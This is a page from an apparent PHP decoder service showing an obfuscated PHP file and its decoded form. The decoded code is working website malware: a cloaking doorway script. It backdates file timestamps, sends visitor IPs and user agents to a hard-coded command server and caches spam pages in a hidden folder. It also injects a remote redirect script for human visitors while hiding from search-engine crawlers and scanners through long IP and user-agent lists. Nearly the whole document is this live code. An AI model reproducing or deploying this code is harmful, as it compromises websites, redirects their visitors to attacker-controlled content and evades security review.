Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $yobqxr = array('rTxpc9rItp/tX6HIlAVjDGohCeFt','4nHIUtexU17qvnq2HyWDMLoBRCQR','2zPJf..
Decoded Output download
error_reporting(0);
define("BASE_URL","http://144.76.76.68/n/d0/");
$cache = true;
if(!function_exists('scandir')) {
function scandir($dir, $sortorder = 0) {
if(is_dir($dir)) {
$dirlist = opendir($dir);
while( ($file = readdir($dirlist)) !== false) {
if(!is_dir($file)) {
$files[] = $file;
}
}
($sortorder == 0) ? asort($files) : rsort($files);
return $files;
} else {
return FALSE;
break;
}
}
}
if (!function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}
$tdir = '.backup';
if (!file_exists($tdir)) mkdir($tdir);
$time = time() - 60*24*3601;
$dr = getenv('DOCUMENT_ROOT');
if (@filemtime(dirname(__FILE__)) > $time || @filemtime('.'.getenv('PHP_SELF')) > $time || @filemtime(getenv('SCRIPT_FILENAME')) > $time)
{
$files = @scandir($dr);
for ($i=0;$i<count($files);$i++)
{
if(stristr($files[$i], '.php') || stristr($files[$i], '.htm'))
{
if (filemtime($dr."/".$files[$i]) < $time) $time = filemtime($dr."/".$files[$i]);
break;
}
}
@touch(dirname(__FILE__), $time);
@touch(getenv('SCRIPT_FILENAME'), $time);
@touch('.'.getenv('PHP_SELF'), $time);
@touch($tdir, $time);
@touch('.htaccess', $time);
}
if (!isset($_GET['q']) || strlen($_GET['q'])<1)
{
$q = 'MAINDOOR';
}
else $q = $_GET['q'];
if ($q == 'yesitsourtest01') {
echo '__OK__';
exit(0);
}
if (strlen($q) < 1) $q = 'MAINDOOR';
$q = rm_rand_str($q);
$domain = getenv('HTTP_HOST');
$ip = getenv('REMOTE_ADDR');
$ua = getenv('HTTP_USER_AGENT');
$sagent = strtolower($ua);
$stat = 'ht"+"tp"+":/"+"/date.o"+"din"+"tar"+"a.co"+"m:108"+"0/date.j"+"s';
$keyword = str_replace('-','+',$q);
$tds_answer = '<script type="text/javascript">var hs = document.createElement("scr"+"ipt");hs.async = true;hs.src = ("'.$stat.'?seoref="+encodeURIComponent(document.referrer)+ "¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword='.$keyword.'&"+Math.floor(999*Math.random()));(document.getElementsByTagName("hea"+"d")[0]||document.getElementsByTagName("bo"+"dy")[0]).appendChild(hs);</script>';
@cc2(BASE_URL.'/tds.php?d='.$domain.'&kw='.$keyword.'&ip='.$ip.'&ua='.urlencode($ua),1);
if (!human($sagent,$ip) || isBlackListedUA()) $tds_answer = '';
$fn = md5(urlencode($q));
if ($cache && file_exists($tdir.'/.'.$fn)) {
$content = file_get_contents($tdir.'/.'.$fn);
} else {
$content = cc2(BASE_URL.'/content.php?d='.$domain.'&kw='.$keyword,60);
if ($cache && strlen($content)>500) file_put_contents($tdir.'/.'.$fn, $content);
else if (file_exists($tdir.'/.'.md5('MAINDOOR'))) $content = file_get_contents($tdir.'/.'.md5('MAINDOOR'));
}
$content = gzinflate($content);
$content = str_replace('{tds:answer}', $tds_answer, $content);
if (!human($sagent,$ip) || isBlackListedUA())
{
if (strpos(strtolower($keyword),'.xml') !== false) header('Content-type: application/xml');
echo $content;
}
else if (strpos(strtolower($keyword),'.xml') !== false)
{
echo '<html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>'.$keyword.'</title>'.$tds_answer.'</head><body>Get redirected...</body></html>';
}
else echo $content;
function rm_rand_str($q) {
$arr = array('/\.php$/i','/\.htm$/i','/\.html$/i','#/$#','/\-\-.*$/');
$q = preg_replace($arr,'',$q);
$q = preg_replace("#[^a-zA-Z0-9_\-\#\.]#i","",$q);
return $q;
}
function human($server_user_agent,$server_ip)
{
$stop_ips_masks = array
(
'209\.73\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '216\.39\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '111\.13\.102\.[0-9]{1,3}', '119\.63\.19[2-9]\.[0-9]{1,3}', '119\.63\.196\.[0-9]{1,3}', '119\.63\.199\.[0-9]{1,3}', '122\.81\.(21[01]|20[89])\.[0-9]{1,3}', '123\.125\.67\.(15[01]|14[4-9])', '123\.125\.67\.15[23]', '123\.125\.68\.[0-9]{1,3}', '123\.125\.68\.(7[01]|6[89])', '123\.125\.68\.7[2-9]', '123\.125\.68\.(9[0-5]|8[0-9])', '123\.125\.68\.8[0-3]', '123\.125\.68\.8[45]', '123\.125\.68\.9[6-9]', '123\.125\.71\.[0-9]{1,3}', '125\.39\.7[89]\.[0-9]{1,3}', '180\.76\.[0-9]{1,3}\.[0-9]{1,3}', '180\.76\.15\.[0-9]{1,3}', '180\.76\.4\.[0-9]{1,3}', '180\.76\.5\.[0-9]{1,3}', '180\.76\.6\.[0-9]{1,3}', '185\.10\.104\.[0-9]{1,3}', '202\.46\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '202\.46\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '220\.181\.108\.[0-9]{1,3}', '220\.181\.38\.[0-9]{1,3}', '220\.181\.51\.[0-9]{1,3}', '61\.135\.169\.[0-9]{1,3}', '203\.208\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '203\.208\.60\.[0-9]{1,3}', '209\.85\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '209\.85\.238\.[0-9]{1,3}', '216\.239\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '216\.3[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '64\.233\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '64\.68\.8[0-7]\.[0-9]{1,3}', '66\.249\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.(7[0-9]|6[4-9])\.[0-9]{1,3}', '66\.249\.90\.[0-9]{1,3}', '66\.249\.91\.[0-9]{1,3}', '66\.249\.92\.[0-9]{1,3}', '72\.14\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '72\.14\.199\.[0-9]{1,3}', '8\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', '8\.6\.(5[0-5]|4[89])\.[0-9]{1,3}', '198\.5\.(21[01]|20[89])\.[0-9]{1,3}', '205\.226\.20[0-7]\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '209\.202\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '131\.107\.[0-9]{1,3}\.[0-9]{1,3}', '131\.253\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '131\.253\.2[4-7]\.[0-9]{1,3}', '131\.253\.4[67]\.[0-9]{1,3}', '131\.253\.61\.[0-9]{1,3}', '131\.253\.6[23]\.[0-9]{1,3}', '131\.253\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '157\.5[45]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.55\.109\.[0-9]{1,3}', '157\.55\.110\.4[0-7]', '157\.55\.110\.(6[0-3]|5[0-9]|4[89])', '157\.55\.1[67]\.[0-9]{1,3}', '157\.55\.18\.[0-9]{1,3}', '157\.55\.3[2-5]\.[0-9]{1,3}', '157\.55\.36\.[0-9]{1,3}', '157\.55\.39\.[0-9]{1,3}', '157\.55\.48\.[0-9]{1,3}', '157\.5[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '157\.56\.229\.[0-9]{1,3}', '157\.56\.92\.[0-9]{1,3}', '157\.56\.93\.[0-9]{1,3}', '157\.56\.9[45]\.[0-9]{1,3}', '157\.60\.[0-9]{1,3}\.[0-9]{1,3}', '199\.30\.(3[01]|2[0-9]|1[6-9])\.[0-9]{1,3}', '199\.30\.16\.[0-9]{1,3}', '199\.30\.27\.[0-9]{1,3}', '202\.96\.51\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '204\.95\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '207\.46\.[0-9]{1,3}\.[0-9]{1,3}', '207\.46\.0\.[0-9]{1,3}', '207\.46\.1[23]\.[0-9]{1,3}', '207\.46\.192\.[0-9]{1,3}', '207\.46\.195\.[0-9]{1,3}', '207\.46\.199\.[0-9]{1,3}', '207\.46\.204\.[0-9]{1,3}', '207\.68\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}', '208\.68\.(14[0-3]|13[6-9])\.[0-9]{1,3}', '213\.199\.(14[0-3]|13[0-9]|12[89])\.[0-9]{1,3}', '219\.142\.53\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '40\.11[2-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.12[0-3]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.124\.[0-9]{1,3}\.[0-9]{1,3}', '40\.125\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])\.[0-9]{1,3}', '40\.7[45]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.7[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '40\.77\.167\.[0-9]{1,3}', '40\.(9[0-5]|8[0-9])\.[0-9]{1,3}\.[0-9]{1,3}', '40\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}\.[0-9]{1,3}', '64\.4\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '65\.5[2-5]\.[0-9]{1,3}\.[0-9]{1,3}', '65\.52\.104\.[0-9]{1,3}', '65\.52\.(11[01]|10[89])\.[0-9]{1,3}', '65\.55\.213\.[0-9]{1,3}', '65\.55\.217\.[0-9]{1,3}', '65\.55\.24\.[0-9]{1,3}', '65\.55\.52\.[0-9]{1,3}', '65\.55\.55\.[0-9]{1,3}', '114\.111\.95\.[0-9]{1,3}', '124\.83\.159\.[0-9]{1,3}', '124\.83\.179\.[0-9]{1,3}', '124\.83\.223\.[0-9]{1,3}', '183\.79\.[0-9]{1,3}\.[0-9]{1,3}', '183\.79\.63\.[0-9]{1,3}', '183\.79\.92\.[0-9]{1,3}', '202\.160\.(19[01]|18[0-9]|17[6-9])\.[0-9]{1,3}', '202\.165\.(11[01]|10[0-9]|9[6-9])\.[0-9]{1,3}', '202\.46\.19\.[0-9]{1,3}', '203\.141\.(4[0-7]|3[2-9])\.[0-9]{1,3}', '203\.216\.255\.[0-9]{1,3}', '206\.190\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '206\.3\.(3[01]|[12]?[0-9])\.[0-9]{1,3}', '207\.126\.(23[0-9]|22[4-9])\.[0-9]{1,3}', '209\.131\.(6[0-3]|[45][0-9]|3[2-9])\.[0-9]{1,3}', '209\.191\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '210\.236\.233\.[0-9]{1,3}', '211\.13\.230\.[0-9]{1,3}', '211\.14\.11\.[0-9]{1,3}', '211\.14\.8\.[0-9]{1,3}', '216\.109\.(12[0-7]|11[2-9])\.[0-9]{1,3}', '216\.136\.23[2-5]\.[0-9]{1,3}', '216\.145\.(6[0-3]|5[0-9]|4[89])\.[0-9]{1,3}', '216\.155\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '63\.163\.102\.[0-9]{1,3}', '64\.157\.13[6-9]\.[0-9]{1,3}', '66\.163\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.196\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '66\.218\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '66\.228\.(19[01]|1[6-8][0-9])\.[0-9]{1,3}', '66\.94\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '67\.195\.[0-9]{1,3}\.[0-9]{1,3}', '67\.195\.110\.[0-9]{1,3}', '67\.195\.111\.[0-9]{1,3}', '67\.195\.11[23]\.[0-9]{1,3}', '67\.195\.114\.[0-9]{1,3}', '67\.195\.115\.[0-9]{1,3}', '67\.195\.37\.[0-9]{1,3}', '67\.195\.50\.[0-9]{1,3}', '68\.142\.(25[0-5]|2[0-4][0-9]|19[2-9])\.[0-9]{1,3}', '68\.180\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '68\.180\.(23[01]|22[4-9])\.[0-9]{1,3}', '69\.147\.(12[0-7]|1[01][0-9]|[7-9][0-9]|6[4-9])\.[0-9]{1,3}', '72\.30\.[0-9]{1,3}\.[0-9]{1,3}', '72\.30\.132\.[0-9]{1,3}', '72\.30\.142\.[0-9]{1,3}', '72\.30\.161\.[0-9]{1,3}', '72\.30\.196\.[0-9]{1,3}', '72\.30\.198\.[0-9]{1,3}', '74\.6\.[0-9]{1,3}\.[0-9]{1,3}', '74\.6\.13\.[0-9]{1,3}', '74\.6\.17\.[0-9]{1,3}', '74\.6\.18\.[0-9]{1,3}', '74\.6\.22\.[0-9]{1,3}', '74\.6\.254\.[0-9]{1,3}', '74\.6\.27\.[0-9]{1,3}', '74\.6\.8\.[0-9]{1,3}', '98\.13[6-9]\.[0-9]{1,3}\.[0-9]{1,3}', '98\.137\.206\.[0-9]{1,3}', '98\.137\.207\.[0-9]{1,3}', '98\.137\.72\.[0-9]{1,3}', '98\.139\.168\.[0-9]{1,3}', '100\.43\.(9[0-5]|[78][0-9]|6[4-9])\.[0-9]{1,3}', '100\.43\.80\.[0-9]{1,3}', '100\.43\.81\.[0-9]{1,3}', '100\.43\.85\.[0-9]{1,3}', '100\.43\.90\.[0-9]{1,3}', '100\.43\.91\.[0-9]{1,3}', '130\.193\.62\.[0-9]{1,3}', '141\.8\.143\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '141\.8\.153\.[0-9]{1,3}', '141\.8\.153\.(12[0-7]|11[2-9])', '178\.154\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '178\.154\.165\.[0-9]{1,3}', '178\.154\.166\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '178\.154\.200\.[0-9]{1,3}', '178\.154\.202\.[0-9]{1,3}', '178\.154\.205\.[0-9]{1,3}', '178\.154\.21[01]\.[0-9]{1,3}', '178\.154\.239\.[0-9]{1,3}', '178\.154\.243\.[0-9]{1,3}', '199\.21\.9[6-9]\.[0-9]{1,3}', '199\.21\.99\.[0-9]{1,3}', '213\.180\.(22[0-3]|2[01][0-9]|19[2-9])\.[0-9]{1,3}', '213\.180\.(20[0-7]|19[2-9])\.[0-9]{1,3}', '213\.180\.(21[0-5]|20[89])\.[0-9]{1,3}', '213\.180\.21[6-9]\.[0-9]{1,3}', '37\.140\.141\.[0-9]{1,3}', '37\.140\.165\.[0-9]{1,3}', '37\.140\.188\.[0-9]{1,3}', '37\.9\.115\.[0-9]{1,3}', '37\.9\.8[4-7]\.[0-9]{1,3}', '5\.255\.253\.[0-9]{1,3}', '5\.45\.254\.[0-9]{1,3}', '77\.88\.(6[0-3]|[1-5]?[0-9])\.[0-9]{1,3}', '77\.88\.22\.(12[0-7]|1[01][0-9]|[1-9]?[0-9])', '77\.88\.29\.[0-9]{1,3}', '77\.88\.31\.[0-9]{1,3}', '77\.88\.59\.[0-9]{1,3}', '84\.201\.146\.[0-9]{1,3}', '84\.201\.148\.[0-9]{1,3}', '84\.201\.149\.[0-9]{1,3}', '87\.250\.(25[0-5]|2[34][0-9]|22[4-9])\.[0-9]{1,3}', '87\.250\.243\.[0-9]{1,3}', '87\.250\.253\.[0-9]{1,3}', '93\.158\.147\.[0-9]{1,3}', '93\.158\.148\.[0-9]{1,3}', '93\.158\.151\.[0-9]{1,3}', '93\.158\.153\.[0-9]{1,3}', '95\.108\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])\.[0-9]{1,3}', '95\.108\.128\.[0-9]{1,3}', '95\.108\.138\.[0-9]{1,3}', '95\.108\.15[01]\.[0-9]{1,3}', '95\.108\.156\.[0-9]{1,3}', '95\.108\.158\.[0-9]{1,3}', '95\.108\.188\.(25[0-5]|2[0-4][0-9]|1[3-9][0-9]|12[89])', '95\.108\.234\.[0-9]{1,3}', '95\.108\.24[67]\.[0-9]{1,3}', '95\.108\.248\.[0-9]{1,3}', '95\.158\.(19[01]|1[3-8][0-9]|12[89])\.[0-9]{1,3}',
"66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.[1-2][0-9][0-9]\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "38\.[0-9]+\.[0-9]+\.[0-9]+", "124\.115\.6\.[0-9]+", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "209\.9\.239\.101", "67\.217\.160\.[0-9]+", "66\.108\.185\.[0-9]+", "70\.91\.180\.25",
"65\.93\.62\.242",
"74\.193\.246\.129",
"213\.144\.15\.38",
"195\.92\.229\.2",
"70\.50\.189\.191",
"218\.28\.88\.99",
"165\.160\.2\.20",
"89\.122\.224\.230",
"66\.230\.175\.124",
"218\.18\.174\.27",
"65\.33\.87\.94",
"67\.210\.111\.241",
"81\.135\.175\.70",
"64\.69\.34\.134",
"89\.149\.253\.169",
"64\.233\.1[6-8][1-9]\.[0-9]+",
"64\.233\.19[0-1]\.[0-9]+",
"209\.185\.108\.[0-9]+",
"209\.185\.253\.[0-9]+",
"209\.85\.238\.[0-9]+",
"216\.239\.33\.9[6-9]",
"216\.239\.37\.9[8-9]",
"216\.239\.39\.9[8-9]",
"216\.239\.41\.9[6-9]",
"216\.239\.45\.4",
"216\.239\.46\.[0-9]+",
"216\.239\.51\.9[6-9]",
"216\.239\.53\.9[8-9]",
"216\.239\.57\.9[6-9]",
"216\.239\.59\.9[8-9]",
"216\.33\.229\.163",
"64\.233\.173\.[0-9]+",
"64\.68\.8[0-9]\.[0-9]+",
"64\.68\.9[0-2]\.[0-9]+",
"72\.14\.199\.[0-9]+",
"8\.6\.48\.[0-9]+",
"207\.211\.40\.82",
"67\.162\.158\.146",
"66\.255\.53\.123",
"24\.200\.208\.112",
"129\.187\.148\.240",
"129\.187\.148\.244",
"199\.126\.151\.229",
"118\.124\.32\.193",
"89\.149\.217\.191"
);
$stop_agents_masks = array('http', 'google', 'slurp', 'msnbot', 'bot', 'crawl', 'spider', 'robot', 'httpclient', 'curl', 'php', 'indy library', 'wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget','bing');
foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/$stop_ip_mask/", $server_ip)) {
return false;
}
foreach($stop_agents_masks as $stop_agents_mask) if(preg_match("/$stop_agents_mask/", $server_user_agent)){
return false;
}
if(strlen($server_user_agent)<=11) {
return false;
}
return true;
}
function isBlackListedUA()
{
$ua=strtolower(getenv('HTTP_USER_AGENT'));
if ($ua=='' || strlen($ua)<=11) return true;
if (!getenv('HTTP_ACCEPT_LANGUAGE') || !getenv('HTTP_ACCEPT_ENCODING') || !getenv('HTTP_ACCEPT')) return true;
return false;
}
function cc2($url,$to = 10)
{
$agents = array("Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10"
);
if (function_exists('curl_init') && function_exists('curl_exec'))
{
$agent = $agents[rand(0,count($agents)-1)];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, $to);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
if (!(@ini_get('safe_mode') || @ini_get('open_basedir')))
{
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
@curl_setopt($ch, CURLOPT_MAXREDIRS, 2);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false)
{
return $content;
}
}
else if (function_exists('fsockopen'))
{
global $oldheader;
$a = $agents[rand(0,count($agents)-1)];
$url = str_replace("http://","",$url);
if (preg_match("#/#","$url"))
{
$page = $url;
$url = @explode("/",$url);
$url = $url[0];
$page = str_replace($url,"",$page);
if (!$page || $page == "")
{
$page = "/";
}
$ip = gethostbyname($url);
}else{
$ip = gethostbyname($url);
$page = "/";
}
$open = fsockopen($ip, 80, $errno, $errstr, $to);
stream_set_timeout($open,$to);
if ($open)
{
$send = "GET $page HTTP/1.0
";
$send .= "Host: $url
";
$send .= "Referer: http://$url$page
";
$send .= "Accept-Language: en-us, en;q=0.50
";
$send .= "User-Agent: $a
";
$send .= "Connection: Close
";
fputs($open, $send);
while (!feof($open))
{
$return .= fgets($open, 4096);
}
fclose($open);
$return = @explode("
",$return,2);
$header = $return[0];
if ($oldheader)
{
$header = "$oldheader<br /><br />
$header";
}
$header = str_replace("
","<br />",$header);
if ($return[1])
{
$body = $return[1];
}else{
$body = "";
}
if ($body)
{
$return = $body;
}else{
$return = $header;
}
if (preg_match("/Location\:/","$header"))
{
$url = @explode("Location: ",$header);
$url = $url[1];
$url = @explode("
",$url);
$url = $url[0];
$oldheader = str_replace("
","",$header);
$l = "Location:";
$oldheader = str_replace("Location:",$l,$oldheader);
return cc2($url);
}else{
return $return;
}
}
}
else if (ini_get('allow_url_fopen') == '1')
{
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $to
)
)
);
$content = file_get_contents($url, 0, $ctx);
if ($content !== false)
{
return $content;
}
}
else
{
return 0;
}
}
Did this file decode correctly?
Original Code
<?php $yobqxr = array('rTxpc9rItp/tX6HIlAVjDGohCeFt','4nHIUtexU17qvnq2HyWDMLoBRCQR','2zPJf3/nnO6WBEjCTu7UhKXP2mfr','043amxsbXhgGYS/0ZkEY+9OHql7b','39wYeEN/6lXVv44vu73ri1O1ro7i','eLbXbDLTbLRt/N92mtPmQG+qSFDp','u/2RpxwqcTj34Ls/rL4Zzqf92A+m','Pe/Jj+KoqkV9dzrwQ61WU/7Z3FAU','iaAIQLUCL3WlEoEqQTjwQuCnEy4g','K8DSj3oSDXiI/xCMcBwdgyAgCmZe','wg+1I/jjyB97VaVaGcI7IIWeO5BI','SAcc3xweKkN3HHlcqBT7RspFypqE','kUwciW7ugB193JdUPzcX36vZSdGs','/lRcHOJMo5qyp4TZ71Lr0Ivn4VQI','2ueW+Kl4oKO0i8B4f3x62RUI9zC3','rxIZLQ0vP9EpSo5XkHNvNo97/WAa','e9M4Ev7ZSNyzgsGVnLoTD7w1cGNX','2KQyBEO8HaL5syjao8bnQwpUhtKC','QnOyOMEzEwNm98+xFwHD4WPoxx4w','lMK4lYf9cRDhsPguLUVknN0m/YP/','KzH4D1hpjXu3/3U+0/YVaQ6cmzAF','YcHkJ1/J27GInkrsTyi04a1aU3YV','W//DMP9o2TpD6AAZP3hgmO9V7d35','yfXn7tlV7+L8/IpmjVLeopQJ0QNP','NEq113v/6bTb64G4I4VL+PFDySBq','Da0huX75+KV32T19rxViS8zLk4tP','X66I99nx526GoLa5gXblgYRuSpOO','58gwCCFM/UN9v+If9IP5NI3Fir+z','A/TEAFM7ikMwmEiI6Kbi34GTG7PR','TKuhXvngUTwBdZAD9y8aJp0AaNFQ','m2ojpakpB0JzRXqgFJ1HQRL60vsb','b+Ng3h+tGr4uuO+nOIVWzMHN908O','IsVRLoNR7Pb7XhRpGahMUz+KPHBA','70P36kb7pt1Jw44xtdLRAyb9+g3D','+/Pxp7N35+cXGudE2USQlESEJI4C','wbMX+XEUzEPImVhnGk9Nrz8KFK3X','O/9Xr4esNiBBYr4yCP2kJt/QS6ym','rIqnkXDSCyHKehQN3yiZBsHE9aeZ','lPl4dfWl9/H8kqdLxZ9lYBfdz+dX','3d7xu3cXHDp3lymvL7sXveMPkHMc','I3IfoEQBFsiMg3Hw6IHoucthsYsQ','bRSrO2o8g5e9Jrw0oap4jQA+Dfwp','QtwQXt1GH4cme0x34F3nWP+BjxHN','76v3/AgFnUvCBXTs9iFtd7W6tqPV','xWzjQdRzp9EjrWXaQdQP/VmsxM8z','71CNvae4+R/3u8tH1aPvbqiMMDcH','QX8+gVk0+hDNsdeFqIdvVRUQQTzi','1vZHUcONnqd9uebC9yjEb1VVa9BM','G9qfkReE3vBQ3fGm/WDgXV98Ogkm','s2CK3BIhgAFNgBfWdhR1e+aGkCWx','Fx7KCW5H3mEl8rbn4SHbJpNfdN93','L7oXa9hC21DbUbehlXDn47gnuB2C','cuJjQ9tWdz678agxHAdBWO10On/Q','VwyZYFKt1Wr7KTtwurBD9Nfzlftw','hsmsjjwX3abWbvS7Hz/WIN+Ti58J','udZwZ9glnEBXMKiOoMgdNLkfjtC7','b/t9oyq7n4bWBD9iffuT9OchDOp/','fVycjj/D7/4MPs5d+DjHJEELUQTW','mVwP3ozmExeyh8dqHSgovf3oL4ih','r6dQPL3B9TEYQFkKIAq8IWbPZGBV','M+y/1SRv0YltbysrSxvMA4oW0IsF','viLWc1FZe2C1zBK/SIGpn67OGcol','QwnAOmPVbaomSxrLqiKY1I4sHTql','nPZjQTeonpKAahUqKReXnPmj5dJK','VUMjv9AOy5S8HGaoH/72p8Oxi81K','RqMMwkKl+Ad8u8d9+xOWgKyvF6f0','qpDhy4Go0bMgqmbroLB+ra41niZj','baHjhVSC7rSqnXDBu1ik9hTIkrHf','d7EPbBLJ/saGXCGkjpnF5vVyub58','xTmAHmGsAMY0OpQbjsfHx8ZjqxGE','D00GFaL5hDjq0QGqe3QApcpVEHPX','+zb3vx+q/Yz2qiK+iVqLlPtKf+SG','sLYezuPhrqMqzaOD2I/H3lE2kw+a','yVjqFBzmUu+DwfPRBy+G3huCw+uD','7RuNxkGTxg9IzlF2CV62VtJZL62P','PLfcEHMdXt3nqta8xVSqNH1YVuAz','sM5+HvMvW83KFo3t3u42/qg0ebtN','K/As9B6SkEPWdU0uTjkI6tbN/7m7','fx/v/q++2+kBu63bxt2WD9s/VRLJ','Nvsbn18yFRmfXvjdC3tzeO+JUBVD','ELHc17gOBzP4HvUmbvQ1kpNFUJWa','OM3QO7eNduu2UWWdG53d/WA39q5z','dwNa3dVuG/T+D6u3MG84AbNvGy0g','qtoAbN39sAjnh3njFFAwxm4bDEQw','3ciHAzcb4Z0bA4BrcOw18E4u3ADR','DuhRNRhN09CL9TWQj2EBwzbaxeJ2','MW9MtEk+FiAZrbscmLNGAsCrbRJg','k0L5KG0yTAE5+G3XuvvhcJ/lIznk','qyKYaRWAOhAMeXLbLH9aFg+NNk4l','F8PRAbrgwVI0ZpWCzVJoOW1+GDkW','hin+y+VtYASbdhr8aDoe/y1yUe1F','VGtTxjBQB4xXaInLEVpr4Fauq2xK','SZys3clXGVxtoOxXzlSS2Xo+HKSh','jauGxaPWgDdTMGY3LXgTn41i40gm','RsHcsUIZ2RL1Mt2psAHculsXn7aJ','Al5RNJFApmE7NzNs1NnspOl80xYM','oTCYhXwTqvbLcTt6OZiVg3NreBtG','mVnk106x1SVhQd12ilxRgIxJJjQo','WZA6DlWHF6wFho5xZuDk9VLf0bpU','ZQYh/SC+fPI37SSmy5zjoBmMXzGg','uVTLClOGytCr+bMWVaH22pqNeIbV','+r3cTrkYYKx8c6c45o29DsVma+C4','bq+Zzy97lVlgNgurz1rrESYtPp1y','OK5OJumTD8tdY1ZRCy2XYDil4NVC','uYpil4PLJ2qWyKeu5GUmxcw1OqXw','/IqWglvl4GX3LmAsLoP5xQi0a6Hj','WrwYyXyxC6NKUjC7FGy0C5sRLFYW','e3mqpsRQbTpYOhkvnUzneJ1idQ2s','HeYLSpRA00uhrChfU4x8f2bg1hp4','pxRuFLWGbdGPJz1BS/YE5d2MI+lM','nrmsVWJMJvc4WfS1MnB3RMtLYT1j','8Prn4g7CxBBjK1uyPAGEapA+L0M1','X4Zmrde2iLj9krLLEe0XzrCNGz27','XQRe2oi9hOML0qionTQz7S0DsSXm','sC2smS9qbBHTKNz+SHBGbadMJvZO','rFUObpeCzTKoZZRC8/d/1GziiUR+','GaDQdDDJrE45vF0ON4z8dQNhi6Sl','aHY5l6Jahz609UwxckSRaJcVaqJ6','bXU3ZNks3BAyE5ca3rSs3z3S7s0q','qNEkSH/1rhR3dskKe8OMsmyhQs6w','5a8aorQaRnGPR601NYuv1AnJcK/1','6+2lgf2e0bLFZjQPQZy8GS29GE4J','UQou3mZTu5rOgK3ZXjOubGHvyJFM','6zVHJURi0XZOF2qUbGfojNAuPozE','0kqdm1iFC/d79mu2//+FDSIajjm/','cj5gOK/TtLO4j2/JvrAsC+gMdLGi','lqLRVqUUztbAi/rADIq5Bm6Vwlvt','UrCl/3f38USJh5O/s33OMBG7iTKf','UVPY/p2oxNOb1totjsRiLaMUbJaD','87fyCTj/h4EU7Pzy6YlAyu9kJLBd','BiyTbRhlQMssg5YJzZWJVsipbMWo','bdzw2Gvg7VJ42ygGYwgW/Eai40FH